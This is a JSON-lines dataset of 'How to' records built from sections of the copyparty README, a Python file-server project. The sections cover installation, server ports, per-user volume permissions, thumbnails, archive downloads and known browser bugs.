{"id": "gh_7acb4967baf7", "question": "How to: 💾🎉 copyparty", "question_body": "About 9001/copyparty", "answer": "turn almost any device into a file server with resumable uploads/downloads using [*any*](#browser-support) web browser\n\n* server only needs Python (2 or 3), all dependencies optional\n* 🔌 protocols: [http(s)](#the-browser) // [webdav](#webdav-server) // [sftp](#sftp-server) // [ftp(s)](#ftp-server) // [tftp](#tftp-server) // [smb/cifs](#smb-server)\n* 📱 [android app](#android-app) // [iPhone shortcuts](#ios-shortcuts)\n\n👉 **[Get started](#quickstart)!** or visit the **[read-only demo server](https://a.ocv.me/pub/demo/)** 👀 running on a nuc in my basement\n\n📷 **screenshots:** [browser](#the-browser) // [upload](#uploading) // [unpost](#unpost) // [thumbnails](#thumbnails) // [search](#searching) // [fsearch](#file-search) // [zip-DL](#zip-downloads) // [md-viewer](#markdown-viewer)\n\n🎬 **videos:** [upload](https://a.ocv.me/pub/demo/pics-vids/up2k.webm) // [cli-upload](https://a.ocv.me/pub/demo/pics-vids/u2cli.webm) // [race-the-beam](https://a.ocv.me/pub/g/nerd-stuff/cpp/2024-0418-race-the-beam.webm) // 👉 **[feature-showcase](https://a.ocv.me/pub/demo/showcase-hq.webm)** ([youtube](https://www.youtube.com/watch?v=15_-hgsX2V0))\n\nbuilt in Norway 🇳🇴 with contributions from [not-norway](https://github.com/9001/copyparty/graphs/contributors)", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780107"}
{"id": "gh_4122ae35e992", "question": "How to: readme toc", "question_body": "About 9001/copyparty", "answer": "* top\n    * [quickstart](#quickstart) - just run **[copyparty-sfx.py](https://github.com/9001/copyparty/releases/latest/download/copyparty-sfx.py)** -- that's it! 🎉\n        * [mirrors](#mirrors) - other places to download copyparty from\n        * [at home](#at-home) - make it accessible over the internet\n        * [on servers](#on-servers) - you may also want these, especially on servers\n    * [features](#features) - also see [comparison to similar software](./docs/versus.md)\n    * [testimonials](#testimonials) - small collection of user feedback\n* [motivations](#motivations) - project goals / philosophy\n    * [notes](#notes) - general notes\n* [bugs](#bugs) - roughly sorted by chance of encounter\n    * [not my bugs](#not-my-bugs) - same order here too\n* [breaking changes](#breaking-changes) - upgrade notes\n* [FAQ](#FAQ) - \"frequently\" asked questions\n* [accounts and volumes](#accounts-and-volumes) - per-folder, per-user permissions\n    * [shadowing](#shadowing) - hiding specific subfolders\n    * [dotfiles](#dotfiles) - unix-style hidden files/folders\n* [the browser](#the-browser) - accessing a copyparty server using a web-browser\n    * [tabs](#tabs) - the main tabs in the ui\n    * [hotkeys](#hotkeys) - the browser has the following hotkeys\n    * [navpane](#navpane) - switching between breadcrumbs or navpane\n    * [thumbnails](#thumbnails) - press `g` or `田` to toggle grid-view instead of the file listing\n    * [zip downloads](#zip-downloads) - download folders (or file selections) as `zip` or `tar` files\n    * [uploading](#uploading) - drag files/folders into the web-browser to upload\n        * [file-search](#file-search) - dropping files into the browser also lets you see if they exist on the server\n        * [unpost](#unpost) - undo/delete accidental uploads\n        * [self-destruct](#self-destruct) - uploads can be given a lifetime\n        * [race the beam](#race-the-beam) - download files while they're still uploading ([demo video](http://a.ocv.me/pub/g/nerd-stuff/cpp/2024-0418-race-the-beam.webm))\n        * [incoming files](#incoming-files) - the control-panel shows the ETA for all incoming files\n    * [file manager](#file-manager) - cut/paste, rename, and delete files/folders (if you have permission)\n    * [shares](#shares) - share a file or folder by creating a temporary link\n    * [batch rename](#batch-rename) - select some files and press `F2` to bring up the rename UI\n    * [rss feeds](#rss-feeds) - monitor a folder with your RSS reader\n    * [opds feeds](#opds-feeds) - browse and download files from your e-book reader\n    * [recent uploads](#recent-uploads) - list all recent uploads\n    * [media player](#media-player) - plays almost every audio format there is\n        * [playlists](#playlists) - create and play [m3u8](https://en.wikipedia.org/wiki/M3U) playlists\n        * [creating a playlist](#creating-a-playlist) - with a standalone mediaplayer or copyparty\n        * [audio equalizer](#audio-equalizer) - and [dynamic range compressor](https://en.wikipedia.org/wiki/Dynamic_range_compression)\n        * [fix unreliable playback on android](#fix-unreliable-playback-on-android) - due to phone / app settings\n    * [textfile viewer](#textfile-viewer) - with realtime streaming of logfiles and such ([demo](https://a.ocv.me/pub/demo/logtail/))\n    * [markdown viewer](#markdown-viewer) - and there are *two* editors\n        * [markdown vars](#markdown-vars) - dynamic docs with serverside variable expansion\n    * [other tricks](#other-tricks)\n    * [searching](#searching) - search by size, date, path/name, mp3-tags, ...\n* [server config](#server-config) - using arguments or config files, or a mix of both\n    * [zeroconf](#zeroconf) - announce enabled services on the LAN ([pic](https://user-images.githubusercontent.com/241032/215344737-0eae8d98-9496-4256-9aa8-cd2f6971810d.png))\n        * [mdns](#mdns) - LAN domain-name and feature announcer\n        * [ssdp](#ssdp) - windows-explorer announcer\n    * [qr-code](#qr-code) - print a qr-code [(screenshot)](https://user-images.githubusercontent.com/241032/194728533-6f00849b-c6ac-43c6-9359-83e454d11e00.png) for quick access\n    * [ftp server](#ftp-server) - an FTP server can be started using `--ftp 3921`\n    * [sftp server](#sftp-server) - goes roughly 700 MiB/s (slower than webdav and ftp)\n    * [webdav server](#webdav-server) - with read-write support\n        * [connecting to webdav from windows](#connecting-to-webdav-from-windows) - using the GUI\n    * [tftp server](#tftp-server) - a TFTP server (read/write) can be started using `--tftp 3969`\n    * [smb server](#smb-server) - unsafe, slow, not recommended for wan\n    * [browser ux](#browser-ux) - tweaking the ui\n    * [opengraph](#opengraph) - discord and social-media embeds\n    * [file deduplication](#file-deduplication) - enable symlink-based upload deduplication\n    * [file indexing](#file-indexing) - enable music search, upload-undo, and better dedup\n        * [exclude-patterns](#exclude-patterns) - to save s", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 41036, "answer_score": 10, "has_code": true, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780159"}
{"id": "gh_ae41f323d60d", "question": "How to: quickstart", "question_body": "About 9001/copyparty", "answer": "just run **[copyparty-sfx.py](https://github.com/9001/copyparty/releases/latest/download/copyparty-sfx.py)** -- that's it! 🎉\n\n> ℹ️ the sfx is a [self-extractor](https://github.com/9001/copyparty/issues/270) which unpacks an embedded `tar.gz` into `$TEMP` -- if this looks too scary, you can use the [zipapp](#zipapp) which has slightly worse performance\n\n* or install through [pypi](https://pypi.org/project/copyparty/): `python3 -m pip install --user -U copyparty`\n* or if you cannot install python, you can use [copyparty.exe](#copypartyexe) instead\n* or install [on arch](#arch-package) / [homebrew](#homebrew-formulae) ╱ [on NixOS](#nixos-module) ╱ [through nix](#nix-package)\n* or if you are on android, [install copyparty in termux](#install-on-android)\n* or maybe an iPhone or iPad? [install in a-Shell on iOS](#install-on-iOS)\n* or maybe you have a [synology nas / dsm](./docs/synology-dsm.md)\n* or if you have [uv](https://docs.astral.sh/uv/) installed, run `uv tool run copyparty`\n* or if your computer is messed up and nothing else works, [try the pyz](#zipapp)\n* or if your OS is dead, give the [bootable flashdrive / cd-rom](https://a.ocv.me/pub/stuff/edcd001/enterprise-edition/) a spin\n* or if you don't trust copyparty yet and want to isolate it a little, then...\n  * ...maybe [prisonparty](./bin/prisonparty.sh) to create a tiny [chroot](https://wiki.archlinux.org/title/Chroot) (very portable),\n  * ...or [bubbleparty](./bin/bubbleparty.sh) to wrap it in [bubblewrap](https://github.com/containers/bubblewrap) (much better)\n* or if you prefer to [use docker](./scripts/docker/) 🐋 you can do that too\n  * docker has all deps built-in, so skip this step:\n\nenable thumbnails (images/audio/video), media indexing, and audio transcoding by installing some recommended deps:\n\n* **Alpine:** `apk add py3-pillow ffmpeg`\n* **Debian:** `apt install --no-install-recommends python3-pil ffmpeg`\n* **Fedora:** rpmfusion + `dnf install python3-pillow ffmpeg --allowerasing`\n* **FreeBSD:** `pkg install py39-sqlite3 py39-pillow ffmpeg`\n* **MacOS:** `port install py-Pillow ffmpeg`\n* **MacOS** (alternative): `brew install pillow ffmpeg`\n* **Windows:** `python -m pip install --user -U Pillow`\n  * install [python](https://www.python.org/downloads/windows/) and [ffmpeg](#optional-dependencies) manually; do not use `winget` or `Microsoft Store` (it breaks $PATH)\n  * copyparty.exe comes with `Pillow` and only needs [ffmpeg](#optional-dependencies) for mediatags/videothumbs\n* see [optional dependencies](#optional-dependencies) to enable even more features\n\nrunning copyparty without arguments (for example doubleclicking it on Windows) will give everyone read/write access to the current folder; you may want [accounts and volumes](#accounts-and-volumes)\n\nor see [some usage examples](#complete-examples) for inspiration, or the [complete windows example](./docs/examples/windows.md)\n\nsome recommended options:\n* `-e2dsa` enables general [file indexing](#file-indexing)\n* `-e2ts` enables audio metadata indexing (needs either FFprobe or Mutagen)\n* `-v /mnt/music:/music:r:rw,foo -a foo:bar` shares `/mnt/music` as `/music`, `r`eadable by anyone, and read-write for user `foo`, password `bar`\n  * replace `:r:rw,foo` with `:r,foo` to only make the folder readable by `foo` and nobody else\n  * see [accounts and volumes](#accounts-and-volumes) (or [`--help-accounts`](https://copyparty.eu/cli/#accounts-help-page)) for the syntax and other permissions", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780179"}
{"id": "gh_2bc084e28b0c", "question": "How to: on servers", "question_body": "About 9001/copyparty", "answer": "you may also want these, especially on servers:\n\n* [contrib/systemd/copyparty.service](contrib/systemd/copyparty.service) to run copyparty as a systemd service (see guide inside)\n* [contrib/systemd/prisonparty.service](contrib/systemd/prisonparty.service) to run it in a chroot (for extra security)\n* [contrib/podman-systemd/](contrib/podman-systemd/) to run copyparty in a Podman container as a systemd service (see guide inside)\n* [contrib/openrc/copyparty](contrib/openrc/copyparty) to run copyparty on Alpine / Gentoo\n* [contrib/rc/copyparty](contrib/rc/copyparty) to run copyparty on FreeBSD\n* [nixos module](#nixos-module) to run copyparty on NixOS hosts\n* [contrib/nginx/copyparty.conf](contrib/nginx/copyparty.conf) to [reverse-proxy](#reverse-proxy) behind nginx (for better https)\n\nand remember to open the ports you want; here's a complete example including every feature copyparty has to offer:\n```\nfirewall-cmd --permanent --add-port={80,443,3921,3922,3923,3945,3990}/tcp  # --zone=libvirt\nfirewall-cmd --permanent --add-port=12000-12099/tcp  # --zone=libvirt\nfirewall-cmd --permanent --add-port={69,1900,3969,5353}/udp  # --zone=libvirt\nfirewall-cmd --reload\n```\n(69:tftp, 1900:ssdp, 3921:ftp, 3922:sftp, 3923:http/https, 3945:smb, 3969:tftp, 3990:ftps, 5353:mdns, 12000:passive-ftp)", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 41036, "answer_score": 10, "has_code": true, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780188"}
{"id": "gh_644329600e31", "question": "How to: testimonials", "question_body": "About 9001/copyparty", "answer": "small collection of user feedback\n\n`good enough`, `surprisingly correct`, `certified good software`, `just works`, `why`, `wow this is better than nextcloud`\n\n* UI просто ужасно. Если буду описывать детально не смогу удержаться в рамках приличий", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780203"}
{"id": "gh_1ff6e2153839", "question": "How to: motivations", "question_body": "About 9001/copyparty", "answer": "project goals / philosophy\n\n* inverse unix philosophy -- do all the things, and do an *okay* job\n  * quick drop-in service to get a lot of features in a pinch\n  * some of [the alternatives](./docs/versus.md) might be a better fit for you\n* run anywhere, support everything\n  * as many web-browsers and python versions as possible\n    * every browser should at least be able to browse, download, upload files\n    * be a good emergency solution for transferring stuff between ancient boxes\n  * minimal dependencies\n    * but optional dependencies adding bonus-features are ok\n    * everything being plaintext makes it possible to proofread for malicious code\n  * no preparations / setup necessary, just run the sfx (which is also plaintext)\n* adaptable, malleable, hackable\n  * no build steps; modify the js/python without needing node.js or anything like that\n\nbecoming rich is specifically *not* a motivation, but if you wanna donate then see my [github profile](https://github.com/9001) regarding donations for my FOSS stuff in general (also THANKS!)", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 41036, "answer_score": 10, "has_code": true, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780210"}
{"id": "gh_442e2b5afce4", "question": "How to: not my bugs", "question_body": "About 9001/copyparty", "answer": "same order here too\n\n* [Chrome issue 1317069](https://bugs.chromium.org/p/chromium/issues/detail?id=1317069) -- if you try to upload a folder which contains symlinks by dragging it into the browser, the symlinked files will not get uploaded\n\n* [Chrome issue 1352210](https://bugs.chromium.org/p/chromium/issues/detail?id=1352210) -- plaintext http may be faster at filehashing than https (but also extremely CPU-intensive)\n\n* [Chrome issue 383568268](https://issues.chromium.org/issues/383568268) -- filereaders in webworkers can OOM / crash the browser-tab\n  * copyparty has a workaround which seems to work well enough\n\n* [Firefox issue 1790500](https://bugzilla.mozilla.org/show_bug.cgi?id=1790500) -- entire browser can crash after uploading ~4000 small files\n\n* Android: music playback randomly stops due to [battery usage settings](#fix-unreliable-playback-on-android)\n\n* iPhones: the volume control doesn't work because [apple doesn't want it to](https://developer.apple.com/library/archive/documentation/AudioVideo/Conceptual/Using_HTML5_Audio_Video/Device-SpecificConsiderations/Device-SpecificConsiderations.html#//apple_ref/doc/uid/TP40009523-CH5-SW11)\n  * `AudioContext` will probably never be a viable workaround as apple introduces new issues faster than they fix current ones\n\n* iPhones: music volume goes on a rollercoaster during song changes\n  * nothing I can do about it because `AudioContext` is still broken in safari\n\n* iPhones: the preload feature (in the media-player-options tab) can cause a tiny audio glitch 20sec before the end of each song, but disabling it may cause worse iOS bugs to appear instead\n  * just a hunch, but disabling preloading may cause playback to stop entirely, or possibly mess with bluetooth speakers\n  * tried to add a tooltip regarding this but looks like apple broke my tooltips\n\n* iPhones: preloaded awo files make safari log MEDIA_ERR_NETWORK errors as playback starts, but the song plays just fine so eh whatever\n  * awo, opus-weba, is apple's new take on opus support, replacing opus-caf which was technically limited to cbr opus\n\n* iPhones: preloading another awo file may cause playback to stop\n  * can be somewhat mitigated with `mp.au.play()` in `mp.onpreload` but that can hit a race condition in safari that starts playing the same audio object twice in parallel...\n\n* Windows: folders cannot be accessed if the name ends with `.`\n  * python or windows bug\n\n* Windows: msys2-python 3.8.6 occasionally throws `RuntimeError: release unlocked lock` when leaving a scoped mutex in up2k\n  * this is an msys2 bug, the regular windows edition of python is fine\n\n* VirtualBox: sqlite throws `Disk I/O Error` when running in a VM and the up2k database is in a vboxsf\n  * use `--hist` or the `hist` volflag (`-v [...]:c,hist=/tmp/foo`) to place the db and thumbnails inside the vm instead\n    * or, if you only want to move the db (and not the thumbnails), then use `--dbpath` or the `dbpath` volflag\n  * also happens on mergerfs, so put the db elsewhere\n\n* Ubuntu: dragging files from certain folders into firefox or chrome is impossible\n  * due to snap security policies -- see `snap connections firefox` for the allowlist, `removable-media` permits all of `/mnt` and `/media` apparently", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 41036, "answer_score": 10, "has_code": true, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780225"}
{"id": "gh_b861ed5cfc03", "question": "How to: breaking changes", "question_body": "About 9001/copyparty", "answer": "upgrade notes\n\n* `1.9.16` (2023-11-04):\n  * `--stats`/prometheus: `cpp_bans` renamed to `cpp_active_bans`, and that + `cpp_uptime` are gauges\n* `1.6.0` (2023-01-29):\n  * http-api: delete/move is now `POST` instead of `GET`\n  * everything other than `GET` and `HEAD` must pass [cors validation](#cors)\n* `1.5.0` (2022-12-03): [new chunksize formula](https://github.com/9001/copyparty/commit/54e1c8d261df) for files larger than 128 GiB\n  * **users:** upgrade to the latest [cli uploader](https://github.com/9001/copyparty/blob/hovudstraum/bin/u2c.py) if you use that\n  * **devs:** update third-party up2k clients (if those even exist)", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780232"}
{"id": "gh_9f1eaf7faab4", "question": "How to: accounts and volumes", "question_body": "About 9001/copyparty", "answer": "per-folder, per-user permissions  - if your setup is getting complex, consider making a [config file](./docs/example.conf) instead of using arguments\n* much easier to manage, and you can modify the config at runtime with `systemctl reload copyparty` or more conveniently using the `[reload cfg]` button in the control-panel (if the user has `a`/admin in any volume)\n  * changes to the `[global]` config section requires a restart to take effect\n\na quick summary can be seen using [`--help-accounts`](https://copyparty.eu/cli/#accounts-help-page)\n\nconfiguring accounts/volumes with arguments:\n* `-a usr:pwd` adds account `usr` with password `pwd`\n* `-v .::r` adds current-folder `.` as the webroot, `r`eadable by anyone\n  * the syntax is `-v src:dst:perm:perm:...` so local-path, url-path, and one or more permissions to set\n  * granting the same permissions to multiple accounts:  \n    `-v .::r,usr1,usr2:rw,usr3,usr4` = usr1/2 read-only, 3/4 read-write\n\npermissions:\n* `r` (read): browse folder contents, download files, download as zip/tar, see filekeys/dirkeys\n* `w` (write): upload files, move/copy files *into* this folder\n* `m` (move): move files/folders *from* this folder\n* `d` (delete): delete files/folders\n* `.` (dots): user can ask to show dotfiles in directory listings\n* `g` (get): only download files, cannot see folder contents or zip/tar\n* `G` (upget): same as `g` except uploaders get to see their own [filekeys](#filekeys) (see `fk` in examples below)\n* `h` (html): same as `g` except folders return their index.html, and filekeys are not necessary for index.html\n* `a` (admin): can see upload time, uploader IPs, config-reload\n* `A` (\"all\"): same as `rwmda.` (read/write/move/delete/admin/dotfiles)\n\nexamples:\n* add accounts named u1, u2, u3 with passwords p1, p2, p3: `-a u1:p1 -a u2:p2 -a u3:p3`\n* make folder `/srv` the root of the filesystem, read-only by anyone: `-v /srv::r`\n* make folder `/mnt/music` available at `/music`, read-only for u1 and u2, read-write for u3: `-v /mnt/music:music:r,u1,u2:rw,u3`\n  * unauthorized users accessing the webroot can see that the `music` folder exists, but cannot open it\n* make folder `/mnt/incoming` available at `/inc`, write-only for u1, read-move for u2: `-v /mnt/incoming:inc:w,u1:rm,u2`\n  * unauthorized users accessing the webroot can see that the `inc` folder exists, but cannot open it\n  * `u1` can open the `inc` folder, but cannot see the contents, only upload new files to it\n  * `u2` can browse it and move files *from* `/inc` into any folder where `u2` has write-access\n* make folder `/mnt/ss` available at `/i`, read-write for u1, get-only for everyone else, and enable filekeys: `-v /mnt/ss:i:rw,u1:g:c,fk=4`\n  * `c,fk=4` sets the `fk` ([filekey](#filekeys)) volflag to 4, meaning each file gets a 4-character accesskey\n  * `u1` can upload files, browse the folder, and see the generated filekeys\n  * other users cannot browse the folder, but can access the files if they have the full file URL with the filekey\n  * replacing the `g` permission with `wg` would let anonymous users upload files, but not see the required filekey to access it\n  * replacing the `g` permission with `wG` would let anonymous users upload files, receiving a working direct link in return\n\nif you want to grant access to all users who are logged in, the group `acct` will always contain all known users, so for example `-v /mnt/music:music:r,@acct`\n\n* to do the opposite, granting access to everyone who is NOT logged in. `*,-@acct` does the trick, for example `-v /srv/welcome:welcome:r,*,-@acct`\n* single users can also be subtracted from a group: `@admins,-james`\n\nanyone trying to bruteforce a password gets banned according to `--ban-pw`; default is 24h ban for 9 failed attempts in 1 hour\n\nand if you want to use config files instead of commandline args (good!) then here's the same examples as a configfile; save it as `foobar.conf` and use it like this: `python copyparty-sfx.py -c foobar.conf`\n\n* you can also `PRTY_CONFIG=foobar.conf python copyparty-sfx.py` (convenient in docker etc)\n\n```yaml\n[accounts]\n  u1: p1  # create account \"u1\" with password \"p1\"\n  u2: p2  #  (note that comments must have\n  u3: p3  #   two spaces before the # sign)\n\n[groups]\n  g1: u1, u2  # create a group\n\n[/]     # this URL will be mapped to...\n  /srv  # ...this folder on the server filesystem\n  accs:\n    r: *  # read-only for everyone, no account necessary\n\n[/music]       # create another volume at this URL,\n  /mnt/music   # which is mapped to this folder\n  accs:\n    r: u1, u2  # only these accounts can read,\n    r: @g1     # (exactly the same, just with a group instead)\n    r: @acct   # (alternatively, ALL users who are logged in)\n    rw: u3     # and only u3 can read-write\n\n[/inc]\n  /mnt/incoming\n  accs:\n    w: u1   # u1 can upload but not see/download any files,\n    rm: u2  # u2 can browse + move files out of this volume\n\n[/i]\n  /mnt/ss\n  accs:\n    rw: u1  # u1 can read-write,\n    g: *    # everyone can access files if they know the U", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 41036, "answer_score": 10, "has_code": true, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780253"}
{"id": "gh_8a89152ab67d", "question": "How to: the browser", "question_body": "About 9001/copyparty", "answer": "accessing a copyparty server using a web-browser\n\n![copyparty-browser-fs8](https://user-images.githubusercontent.com/241032/192042695-522b3ec7-6845-494a-abdb-d1c0d0e23801.png)", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780261"}
{"id": "gh_16c815426370", "question": "How to: thumbnails", "question_body": "About 9001/copyparty", "answer": "press `g` or `田` to toggle grid-view instead of the file listing  and `t` toggles icons / thumbnails\n* can be made default globally with `--grid` or per-volume with volflag `grid`\n* enable by adding `?imgs` to a link, or disable with `?imgs=0`\n\n![copyparty-thumbs-fs8](https://user-images.githubusercontent.com/241032/129636211-abd20fa2-a953-4366-9423-1c88ebb96ba9.png)\n\nit does static images with Pillow / pyvips / FFmpeg, and uses FFmpeg for video files, so you may want to `--no-thumb` or maybe just `--no-vthumb` depending on how dangerous your users are\n* pyvips is 3x faster than Pillow, Pillow is 3x faster than FFmpeg\n* disable thumbnails for specific volumes with volflag `dthumb` for all, or `dvthumb` / `dathumb` / `dithumb` for video/audio/images only\n* for installing FFmpeg on windows, see [optional dependencies](#optional-dependencies)\n\naudio files are converted into spectrograms using FFmpeg unless you `--no-athumb` (and some FFmpeg builds may need `--th-ff-swr`)\n\nimages with the following names (see `--th-covers`) become the thumbnail of the folder they're in: `folder.png`, `folder.jpg`, `cover.png`, `cover.jpg`\n* the order is significant, so if both `cover.png` and `folder.jpg` exist in a folder, it will pick the first matching `--th-covers` entry (`folder.jpg`)\n* and, if you enable [file indexing](#file-indexing), it will also try those names as dotfiles (`.folder.jpg` and so), and then fallback on the first picture in the folder (if it has any pictures at all)\n\nenabling `multiselect` lets you click files to select them, and then shift-click another file for range-select\n* `multiselect` is mostly intended for phones/tablets, but the `sel` option in the `[⚙️] settings` tab is better suited for desktop use, allowing selection by CTRL-clicking and range-selection with SHIFT-click, all without affecting regular clicking\n  * the `sel` option can be made default globally with `--gsel` or per-volume with volflag `gsel`\n\nto show `/icons/exe.png` and `/icons/elf.gif` as the thumbnail for all `.exe` and `.elf` files respectively, do this: `--ext-th=exe=/icons/exe.png --ext-th=elf=/icons/elf.gif`\n* optionally as separate volflags for each mapping; see config file example below\n* the supported image formats are [jpg, png, gif, webp, ico](https://developer.mozilla.org/en-US/docs/Web/Media/Guides/Formats/Image_types)\n  * be careful with svg; chrome will crash if you have too many unique svg files showing on the same page (the limit is 250 or so) -- showing the same handful of svg files thousands of times is ok however\n\nnote:\n* heif/heifs/heic/heics images usually require the `libvips` [optional dependency](#optional-dependencies) (available in the `iv` docker image, `withFastThumbnails` in nixos)\n  * technical trivia: FFmpeg has basic support for tiled heic as of v7.0; need `-show_stream_groups` for correct resolution\n\nconfig file example:\n\n```yaml\n[global]\n  no-thumb   # disable ALL thumbnails and audio transcoding\n  no-vthumb  # only disable video thumbnails\n\n[/music]\n  /mnt/nas/music\n  accs:\n    r: *     # everyone can read\n  flags:\n    dthumb   # disable ALL thumbnails and audio transcoding\n    dvthumb  # only disable video thumbnails\n    ext-th:  exe=/ico/exe.png  # /ico/exe.png is the thumbnail of *.exe\n    ext-th:  elf=/ico/elf.gif  # ...and /ico/elf.gif is used for *.elf\n    th-covers:  folder.png,folder.jpg,cover.png,cover.jpg  # the default\n```", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 41036, "answer_score": 10, "has_code": true, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780284"}
{"id": "gh_a3d92bc44cb1", "question": "How to: zip downloads", "question_body": "About 9001/copyparty", "answer": "download folders (or file selections) as `zip` or `tar` files\n\nselect which type of archive you want in the `[⚙️] config` tab:\n\n| name | url-suffix | description |\n|--|--|--|\n| `tar` | `?tar` | plain gnutar, works great with `curl \\| tar -xv` |\n| `pax` | `?tar=pax` | pax-format tar, futureproof, not as fast |\n| `tgz` | `?tar=gz` | gzip compressed gnu-tar (slow), for `curl \\| tar -xvz` |\n| `txz` | `?tar=xz` | gnu-tar with xz / lzma compression (v.slow) |\n| `zip` | `?zip` | works everywhere, glitchy filenames on win7 and older |\n| `zip_dos` | `?zip=dos` | traditional cp437 (no unicode) to fix glitchy filenames |\n| `zip_crc` | `?zip=crc` | cp437 with crc32 computed early for truly ancient software |\n\n* gzip default level is `3` (0=fast, 9=best), change with `?tar=gz:9`\n* xz default level is `1` (0=fast, 9=best), change with `?tar=xz:9`\n* bz2 default level is `2` (1=fast, 9=best), change with `?tar=bz2:9`\n* hidden files ([dotfiles](#dotfiles)) are excluded unless account is allowed to list them\n  * `up2k.db` and `dir.txt` is always excluded\n* bsdtar supports streaming unzipping: `curl foo?zip | bsdtar -xv`\n  * good, because copyparty's zip is faster than tar on small files\n    * but `?tar` is better for large files, especially if the total exceeds 4 GiB\n* `zip_crc` will take longer to download since the server has to read each file twice\n  * this is only to support MS-DOS PKZIP v2.04g (october 1993) and older\n    * how are you accessing copyparty actually\n\nyou can also zip a selection of files or folders by clicking them in the browser, that brings up a selection editor and zip button in the bottom right\n\n![copyparty-zipsel-fs8](https://user-images.githubusercontent.com/241032/129635374-e5136e01-470a-49b1-a762-848e8a4c9cdc.png)\n\ncool trick: download a folder by appending url-params `?tar&opus` or `?tar&mp3` to transcode all audio files (except aac|m4a|mp3|ogg|opus|wma) to opus/mp3 before they're added to the archive\n* super useful if you're 5 minutes away from takeoff and realize you don't have any music on your phone but your server only has flac files and downloading those will burn through all your data + there wouldn't be enough time anyways\n* and url-param `&nodot` skips dotfiles/dotfolders; they are included by default if your account has permission to see them\n* and url-params `&j` / `&w` produce jpeg/webm thumbnails/spectrograms instead of the original audio/video/images (`&p` for audio waveforms)\n  * can also be used to pregenerate thumbnails; combine with `--th-maxage=9999999` or `--th-clean=0`", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 41036, "answer_score": 10, "has_code": true, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780297"}
{"id": "gh_18d30b418fdb", "question": "How to: file-search", "question_body": "About 9001/copyparty", "answer": "dropping files into the browser also lets you see if they exist on the server\n\n![copyparty-fsearch-fs8](https://user-images.githubusercontent.com/241032/129635361-c79286f0-b8f1-440e-aaf4-6e929428fac9.png)\n\nwhen you drag/drop files into the browser, you will see two dropzones: `Upload` and `Search`\n\n> on a phone? toggle the `[🔎]` switch green before tapping the big yellow Search button to select your files\n\nthe files will be hashed on the client-side, and each hash is sent to the server, which checks if that file exists somewhere\n\nfiles go into `[ok]` if they exist (and you get a link to where it is), otherwise they land in `[ng]`\n* the main reason filesearch is combined with the uploader is cause the code was too spaghetti to separate it out somewhere else, this is no longer the case but now i've warmed up to the idea too much\n\nif you have a \"wark\" (file-identifier/checksum) then you can also search for that in the [🔎] tab by putting `w = kFpDiztbZc8Z1Lzi` in the `raw` field", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780315"}
{"id": "gh_eadf2925a2c3", "question": "How to: self-destruct", "question_body": "About 9001/copyparty", "answer": "uploads can be given a lifetime,  after which they expire / self-destruct\n\nthe feature must be enabled per-volume with the `lifetime` [upload rule](#upload-rules) which sets the upper limit for how long a file gets to stay on the server\n\nclients can specify a shorter expiration time using the [up2k ui](#uploading) -- the relevant options become visible upon navigating into a folder with `lifetimes` enabled -- or by using the `life` [upload modifier](./docs/devnotes.md#write)\n\nspecifying a custom expiration time client-side will affect the timespan in which unposts are permitted, so keep an eye on the estimates in the up2k ui", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780322"}
{"id": "gh_7a9426b6a98e", "question": "How to: race the beam", "question_body": "About 9001/copyparty", "answer": "download files while they're still uploading ([demo video](http://a.ocv.me/pub/g/nerd-stuff/cpp/2024-0418-race-the-beam.webm))  -- it's almost like peer-to-peer\n\nrequires the file to be uploaded using up2k (which is the default drag-and-drop uploader), alternatively the command-line program", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780327"}
